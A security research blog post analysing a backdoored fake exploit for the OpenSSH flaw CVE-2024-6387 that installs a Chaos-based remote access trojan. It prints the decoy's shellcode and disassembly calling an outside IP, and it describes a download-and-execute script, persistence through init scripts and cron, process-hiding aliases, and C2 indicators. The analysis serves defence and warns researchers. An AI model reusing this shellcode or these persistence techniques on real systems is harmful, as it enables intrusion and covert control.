By Vlad O & Daniel C
The 1990s and early 2000s were a tumultuous time in the world of cybersecurity. Numerous hacking groups emerged, discovering vulnerabilities and releasing exploit code that caused significant disruption across the Internet. Once these groups had their fill of mischief, they often released their proof of concepts (PoCs) to the public, allowing others to replicate and build upon their work.
However, this open sharing came with a significant risk. On the Internet, anonymity is a given—”nobody knows you’re a dog,” as the saying goes. This anonymity extended to exploit code as well. Without the ability to thoroughly understand and verify the behavior of the code, users risked unwittingly running malicious software. Many found themselves facing serious consequences after executing untrusted exploit code.
While not widespread, there were notable instances where tools and exploit code were heavily backdoored. These backdoors allowed malicious actors to gain unauthorized access to systems using these tools. Some examples include:
The lesson from this era is clear: never run untrusted code without fully understanding and verifying its behavior. The legacy of backdoored exploit code serves as a reminder of the importance of caution and due diligence in cybersecurity practices.
If you were to run exploit code or tools, you really needed to check what it is they did and how they worked. Andy Gill did an amazing project that exploited just this with his HoneyPoC release
the preliminary findings from the original HoneyPoC project were that folks will run anything blindly, it appeared, but as I automated the project more, it became apparent that different geographic locations had a deeper interest in different types of CVEs and software vulnerabilities.
Fast forward to 2024, and now almost everyone in cybersecurity is a threat intelligence analyst, performing deep research on the latest Advanced Persistent Threats (APTs) and proof-of-concept (PoC) code being released. It has become a common practice for security teams to continuously monitor for PoCs of newly published vulnerabilities. The competitive environment has created a race to emerge as the leading source of threat intelligence. The typical process involves quickly scraping GitHub for code related to vulnerabilities like CVE-2024-XX, downloading it, testing its functionality, and, if successful, publishing a blog post from a corporate account to gain recognition.
On July 1, 2024, the Qualys Threat Research Unit (TRU) discovered an unauthenticated remote code execution (RCE) vulnerability in OpenSSH’s server (sshd) on glibc-based Linux systems (CVE-2024-6387). This discovery was significant, as SSH vulnerabilities of this magnitude are rare. The TRU team deserved commendation for uncovering such a critical flaw.
Exploiting this bug was not a straightforward task, and some groups saw an opportunity to exploit security researchers who eagerly flocked to this bug, us included. Crafting an exploit for CVE-2024-6387 was challenging, but not impossible. Here are some of the hurdles that needed to be overcome:
Understanding the target: To exploit this vulnerability, a deep understanding of the target system was required. Address Space Layout Randomization (ASLR) and specific glibc structures vary across different Linux distributions. This complexity necessitated a comprehensive array of data to achieve the exploit, making the process cumbersome and intricate.
Timing and Noise: Exploiting this vulnerability within a narrow time window, even as short as five hours, generated considerable noise. The process was akin to a brute-force attack on username and password combinations. The high level of activity needed to exploit the vulnerability made it noticeable and challenging to execute stealthily.
In conclusion, while the discovery of CVE-2024-6387 by the Qualys TRU was amazing, the exploit’s complexity served as a deterrent to some degree. This scenario underscores the importance of thorough understanding and precise execution in vulnerability exploitation, highlighting the ongoing challenges faced by security researchers and threat actors alike.
I set about wondering how such an exploit might work from a flow perspective and came up with the following:
First, it’s important to go into the wonderful world of the GNU C library (glibc). Basically it’s the glue that makes it all happen, including IO, networking, memory stuff and oh so much more. Now Linux, on a whole, doesn’t follow a set way of working. Each distro does things differently, and this is where the complexity comes into play.
The Linux PaX project first coined the term “ASLR” (Address space layout randomization), and published the first design and implementation of ASLR in July 2001 as a patch for the Linux kernel. Basically: scramble the crap out of memory to make shellcode insertion harder as you dont know the exact location of specific functions, such as those in glibc. This unpredictability complicates shellcode insertion and other memory-based attacks.
We, then, need to know what the system is in order for us to exploit it. Sounds simple, right? Well, not so much. Let’s write basic code to do this on a number of systems:
Ubuntu 18.0.4:
glibc version: 2.27
address of printf: 0x7ff266e14e40
address of system: 0x7ff266dff420
Ubuntu 22.04:
glibc version: 2.35
address of printf: 0x75b1ec6606f0
address of system: 0x75b1ec650d70
RHEL:
Using glibc version: 2.17
Address of printf: 0x7f8b12345678
Address of system: 0x7f8b12345679
Not the easiest to quickly do, and this is where the fun started. A few days after the Qualys release, we found someone offering exploit code for this, and naturally everyone jumped onto it.
There was a webserver too, found at http://
Essentially, we have exploit.py:
and also: a zero-byte exploit-gogo.c, a zero-byte glibc_check.c and send.c:
This code looked legit: we see several functions that make one feel like this is doing the work it should do, namely:
So far it is convincing. And, for added bonus points, execute_and_cleanup.sh
:
Its main use is when there exists a need to download, execute, and clean up files across various architectures. It ensures that downloaded files are executed and removed after use, maintaining a clean environment.
But. Hang on. CHMOD 777
?
Seeing this, you stuff is about to get ugly. That, and multi-architecture, in 2024 means it can only be Golang.
exploit.py
isn’t fancy, it loads in a list of IP addresses, creates a function called exploit_ip()
that uses a subprocess (run commands on the host) which, in turn, executes the exploit binary and aims it at the IP and port 22. Finally, the main()
function reads in ip.txt
and uses concurrent.futures
to create a worker pool of 10 workers to execute the exploit.
Simple, isn’t it? It does look like this is the workings of a usable exploit for CVE-2024-6387 and you can see how many probably tried this out.
But we were not convinced: there were some oddities in how this was working, such as the various glibc addresses and, also, why the huge binaries for each architecture and what the hell was with the 2.6 million IP address file?
We decided to take a much deeper look at the main exploit part, as referenced in exploit.py
:
exploit: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), for GNU/Linux 3.2.0, BuildID[sha1]=a5bdb209387e06cba305d4d5db76c52b7cb6ea26, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, no section header
Running strings gave a lot:
and there also was this little snippet:
send.c
has the following:
unsigned char shellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x66\x68\x2d\x71\x89\xe1\x50\x68\x38\x39\x2e\x31\x68\x31\x32\x2e\x37\x68\x2e\x31\x39\x2e\x68\x
They do say “// Shellcode placeholder (replace with actual shellcode)”, but who does that, right? So, let’s have a little look at this placeholder shellcode:
0: 31 c0 xor eax, eax
2: 50 push eax
3: 68 6e 2f 73 68 push 0x68732f6e
8: 68 2f 2f 62 69 push 0x69622f2f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 66 68 2d 71 pushw 0x712d
14: 89 e1 mov ecx, esp
16: 50 push eax
17: 68 38 39 2e 31 push 0x312e3938
1c: 68 31 32 2e 37 push 0x372e3231
21: 68 2e 31 39 2e push 0x2e39312e
26: 68 31 39 38 2e push 0x2e383931
2b: 68 74 70 3a 2f push 0x2f3a7074
30: 68 2f 68 74 74 push 0x7474682f
35: 89 e1 mov ecx, esp
37: 51 push ecx
38: 89 e1 mov ecx, esp
3a: b0 0b mov al, 0xb
3c: cd 80 int 0x80
Bits that stand out are:
Good start, can’t have a remote shell without a shell right?
These push instructions construct a string containing an IP address and the http://
prefix on the stack.
In essence, the shellcode does this:
/bin/sh -q http://198.19.128.231
Which is a bogon IP (not yet allocated or delegated by the Internet Assigned Numbers Authority (IANA) or a delegated Regional Internet Registry (RIR))
The malicious CVE_2024_6387 (RegreSSHion) archive contained a number of source code files and pre-compiled binaries:
Filename | Hash |
---|---|
glibc_check.c | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
exploit | 7e6a1e4dfb2d932506b88b58d5bb4f254b762680 |
send.c | 02a9c0437bc43b620bb1e4575562af6b0a65ad00 |
index.html | e84ee7ec8f790ec51d32d355484026766d0ad499 |
index.html?C=N;O=A | e84ee7ec8f790ec51d32d355484026766d0ad499 |
index.html?C=M;O=A | f706b77914ab7fa41fb6821be8f8a7726451cb75 |
验证利用脚本.txt | fe71d044f35b83eaa26162ff62a94ddf4d6047ee |
arm5 | 380f766eec0b181cb094b51e366487deabd0d312 |
amd64 | 3bdad143cd168a2015aba2053e53f99a24d52ace |
index.html?C=D;O=D | f5816e66a76ef28ff15aec7e8a72ee248212f272 |
index.html?C=S;O=D | 9d3a58868e88e9160e172cb5b436bd97a9c79c00 |
execute_and_cleanup.sh | 98cee6d3b4a210be77fa4a458b06b805fa781bd7 |
mipsel | a67a00f6cb7f003504fe28d3265392a482727e0f |
c.txt | 02a9c0437bc43b620bb1e4575562af6b0a65ad00 |
mips | c514efc4b6d0fe0672f6ddb30609a59587ac04d4 |
mips64 | 28f80872f1aba0e3007e002388d057bb2329f407 |
index.html?C=M;O=D | 3d8939bf8793e5d62f6d9e0b5adc87a052d5b154 |
index.html?C=N;O=D | f5816e66a76ef28ff15aec7e8a72ee248212f272 |
arm7 | d17e71b4448aa8a2a3a753cf867bff73371a4f1a |
ip.txt | faaec686747fa6a07014cc5461ff64dbc9efdf3f |
mips64el | 71183310d0d00caa421a058d52e37d7ad8fc46eb |
arm6 | 79ae24874af457cfd95b5c34f95ecf5ab6ececb5 |
aarch64 | a0238a3433fcdffbfd04dadb7c0fc6c103a9efb2 |
exploit.py | 985109c80b184d59c19c83faf0bfe593524b8374 |
exploit-gogo.c | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
index.html?C=D;O=A | b53d3e47bc5273a480fa3d49e422b36c04889c7e |
index.html?C=S;O=A | 016e21a4202905e64de5e6473884f69791857eea |
386 | 9a058ce2e1a413ae24b0c23e49b68d1b2f3f2777 |
On closer examination it quickly became evident that the source code of the exploit itself was a decoy designed as a lure to infect the machine on which it was executed. This attack chain primary component was identified as a heavily modified version of a relatively obscure Golang, multi-platform Command and Control (C2) framework The Remote Access Trojan (RAT) called Chaos (https://github.com/tiagorlampert/CHAOS).
We will refer it as HESIOD, named after one of the Golang DNS specification libraries used by this RAT.
Upon execution, execute_and_cleanup.sh
would download, launch and then remove a number of pre-compiled binaries targeting different linux architectures:
mips: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=KLte1HPpiIqSBxQIfYDS/QANcCW30W9jOPNPuZfoM/ITXftxXWJYEHup3IK3Zf/w1NfFcJvwLrcVi5Raq82, stripped
386: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=_U9f3XZujO1ziaaA9kDm/BXkeuDQ1mdANV2QHaIjH/wE0wc7HzHXzDzEQ2tVw9/s7Z6tpCNX0WmjkLFO5QS, stripped
aarch64: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), for GNU/Linux 3.2.0, BuildID[sha1]=a5bdb209387e06cba305d4d5db76c52b7cb6ea26, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, no section header
amd64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=HjZE6uhaa4GebYfRRAWT/ZJrtMvuTcKnbLlbJ8SPB/Xe_ce7bYGK3lmYiWj264/qADi21f-7rQwa_60-gvX, stripped
arm5: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, Go BuildID=FRzpQZTUsYP7nS6EO2I9/tgRlYj8FE4XDUdPumWAp/M8pzTaAOFHhsAFBcUiYU/LZ4ma86tX3sTSTnp6AAc, stripped
arm6: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, Go BuildID=viDHGzk0Z0GAhUQrh6Fw/PezIakqvEFXe90m2uJYO/u3Gp99nvFdmkLmBpQHUP/bHlZlhreEtq1MaCnJxXf, stripped
arm7: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, Go BuildID=1QijsWdlTSzNrKXqtLcs/KQiptm3N1lokEnZQ-p1M/DCQjWO2kneaBioVd-ay8/MoCGslbtIBENBSJQ3U1f, stripped
mips64: ELF 64-bit MSB executable, MIPS, MIPS-III version 1 (SYSV), statically linked, Go BuildID=QZ2mZCujX1tji12kigcz/3lhyy7AlsUHxeFpfR6on/yKV0WmRMFx1PbozcPZq5/RiQykqcLr754d2v5i5ij, stripped
mips64el: ELF 64-bit LSB executable, MIPS, MIPS-III version 1 (SYSV), statically linked, Go BuildID=zhB-y0HTPCZCyENlqYwD/vyVUgOSuhCew3BWoUBzb/9uc42QI3npvBwJ1643Tq/GQ7cdqDzKB_xVz39LA11, stripped
mipsel: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=w2J_kkUH_YvdYskSwiXX/1LK679v4jJOxZt0-XTlj/wftkwxZXHDbwb-HqgAq0/FWLFJQlzRaIAB8jTUQw8, stripped
On successful execution, HESIOD would drop copies of itself as part of its infection pipeline:
Hash | File/Description |
---|---|
3bdad143cd168a2015aba2053e53f99a24d52ace | amd64 <- executed file backdoor |
3bdad143cd168a2015aba2053e53f99a24d52ace | /usr/lib/libgdi.so.0.8.2 |
3bdad143cd168a2015aba2053e53f99a24d52ace | /usr/sbin/netstat.cfg |
3bdad143cd168a2015aba2053e53f99a24d52ace | /boot/system.pub |
3bdad143cd168a2015aba2053e53f99a24d52ace | /lib/system.mark |
8ab05ff9a8d9d73e2b23643b39d67ea1ff7a6418 | .mod [sh script launched by cron job] |
The same hashes mean that the same file is dropped into numerous locations under different names.
The backdoor drops /etc/profile.d/gateway.sh
which is a script that contains backdoor alias definitions for ps
, ss
, dir
, ls
, find
, and lsof
.
This script ensures that the backdoor processes remain hidden from the outputs of standard system administration commands. In the context of an attacker compromising a machine, backdooring and hiding processes are common techniques used to maintain stealth and persistence.
When an attacker successfully gains access to a system, they often deploy backdoors to secure ongoing access. A backdoor is a piece of malware that allows the attacker to bypass normal authentication and gain control of the system, often without the knowledge of the legitimate users.
To avoid detection, attackers commonly use various methods to hide these backdoor processes from system administrators:
ps
, netstat
, and ls
) to prevent them from displaying the malicious processes. This is often done by modifying binaries or using loadable kernel modules.HESIOD drops the following bash script in to /etc/init.d/dns-udp4
:
and then adds run-level symlinks pointing to the above script.
/etc/rc5.d 01dns-udp4 -> ../init.d/dns-udp4
/etc/rc4.dS01dns-udp4 -> ../init.d/dns-udp4
/etc/rc3.dS01dns-udp4 -> ../init.d/dns-udp4
/etc/rc2.dS01dns-udp4 -> ../init.d/dns-udp4
It then modifies the following daemon scripts:
[x] "/etc/init.d"
[x] "/etc/init.d/acpid"
[x] "/etc/init.d/alsa-utils"
[x] "/etc/init.d/anacron"
[x] "/etc/init.d/apparmor"
[x] "/etc/init.d/apport"
[x] "/etc/init.d/avahi-daemon"
[x] "/etc/init.d/bluetooth"
[x] "/etc/init.d/console-setup.sh"
[x] "/etc/init.d/cron"
[x] "/etc/init.d/cups"
[x] "/etc/init.d/cups-browsed"
[x] "/etc/init.d/dbus"
[x] "/etc/init.d/gdm3"
[x] "/etc/init.d/hwclock.sh"
[x] "/etc/init.d/irqbalance"
[x] "/etc/init.d/keyboard-setup.sh"
[x] "/etc/init.d/kmod"
[x] "/etc/init.d/open-vm-tools"
[x] "/etc/init.d/openvpn"
[x] "/etc/init.d/plymouth"
[x] "/etc/init.d/plymouth-log"
[x] "/etc/init.d/postfix"
[x] "/etc/init.d/procps"
[x] "/etc/init.d/rsync"
[x] "/etc/init.d/rsyslog"
[x] "/etc/init.d/saned"
[x] "/etc/init.d/spice-vdagent"
[x] "/etc/init.d/udev"
[x] "/etc/init.d/ufw"
[x] "/etc/init.d/unattended-upgrades"
[x] "/etc/init.d/uuidd"
[x] "/etc/init.d/x11-common"
Modified to run /lib/system.mark:
Runtime persistence is managed through the cron
job scheduler. Specifically, the backdoor is launched as part of Anacron
execution and is also scheduled to run every minute. This dual scheduling ensures that the backdoor remains active and re-launches frequently, even if it is terminated.
Persistence through cron
jobs is a common tactic used by attackers to maintain a foothold on compromised systems. By scheduling malicious processes to run at regular intervals, attackers can ensure their backdoors or other malicious scripts are automatically restarted if they are stopped or removed. This method exploits the standard functionality of cron
, which is typically used for legitimate maintenance tasks, making it less likely to raise suspicion.
In this case, the use of Anacron
in conjunction with cron
provides an additional layer of persistence. While cron
jobs are scheduled to run at specific times, Anacron
is designed to execute scheduled jobs that were missed during periods when the system was powered off. By leveraging both, the attacker guarantees that the backdoor will be executed consistently, regardless of system reboots or downtime.
Overall, this persistence strategy enhances the resilience of the backdoor, making it more difficult for system administrators to detect and eradicate the malicious presence from the compromised machine.
/etc/cron.d/anacron
:
/etc/init.d/anacron
:
Note: system.mark
is a dropped copy of the backdoor.
bpftrace of cron activity:
On execution, the sample tries to resolve botbot.ddosvps.cc
:
this is followed by an attempt to open a socket to smtp14.dsfdsaonline.com
on port 7788.
fish@ubuntu:~$ lsof -i tcp
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash.cfg 1646 fish 7u IPv4 89324 0t0 TCP ubuntu:38332->smtp14.dsfdsaonline.com:7788 (SYN_SENT)
C2 IP Address
The Command and Control (C2) server looks to utilise DNS over HTTP (DoH), as it imports the Golang go-doh-client
, and operates through the host IP address 209.141.53.247. This IP address is associated with two DNS records.
The use of DNS over HTTP (DoH) is a sophisticated technique employed by attackers to bypass traditional monitoring and detection mechanisms. DoH encapsulates DNS queries within regular HTTPS traffic, making it difficult for conventional network security tools to distinguish between legitimate web traffic and malicious DNS queries. This obfuscation helps attackers evade detection by security systems that rely on analyzing standard DNS traffic patterns.
By using DoH, the attacker can:
In the context of the C2 server using DoH, the attackers leverage this technique to maintain communication with the compromised machine while minimizing the risk of detection. The host IP address 209.141.53.247, which shares two DNS records, serves as the central point for managing the backdoor and receiving exfiltrated data.
Overall, the use of DNS over HTTP by the C2 server represents a strategic move by the attackers to evade traditional monitoring techniques, ensuring the persistence and stealth of their malicious operations.
The IP has been flagged for various malicious activities, including being identified as a possible Command and Control server for Agent Tesla malware by ThreatFox on April 20, 2023. Additionally, it was reported for phishing in External Sensor data on September 30, 2023, and has been associated with multiple malicious behaviors like Brute-Force attacks, DNS Compromise, Web App Attacks, DDoS Attacks, Port Scans, and spam activities based on AbuseIPDB Community submissions
In recent years, cyber security experts have increasingly become targets of sophisticated attacks involving fake exploits of recently discovered vulnerabilities. Attackers, often cybercriminals or state-sponsored actors, leverage the urgency and interest surrounding newly reported vulnerabilities to deceive security professionals. They create and distribute fake exploits or malious files disguised as proof-of-concept (PoC) code. When cybersecurity experts download and run the code, believing it to be a legitimate tool for analysis or mitigation, their systems become compromised.
It isn’t something that happens all the time, but we are seeing an increase of attempts to gain access to those, whose job is to evaluate vulnerabilities, tools used by adversaries and indeed proof of concept exploit code shared amongst the community.
The work that went into this backdoor, which wasn’t just a simple malicious piece of shellcode armed compiled exploit that opened up a reverse shell, shows that there is still some ROI in doing this, as we expect many might have run this without doing proper due diligence.
The choice of Golang here is cool as a backdooring tool, mostly because of static linking and if it wasn’t for the size, it would be an ideal solution. Now if it was me, I’d probably go down the more elegant route of using a kernel module for persistence, because who honestly checks that?
Be paranoid. Trust but verify.
In the next post we will dive deeper in to the inner works of HESIOD backdoor (variation of Chaos used in this attack).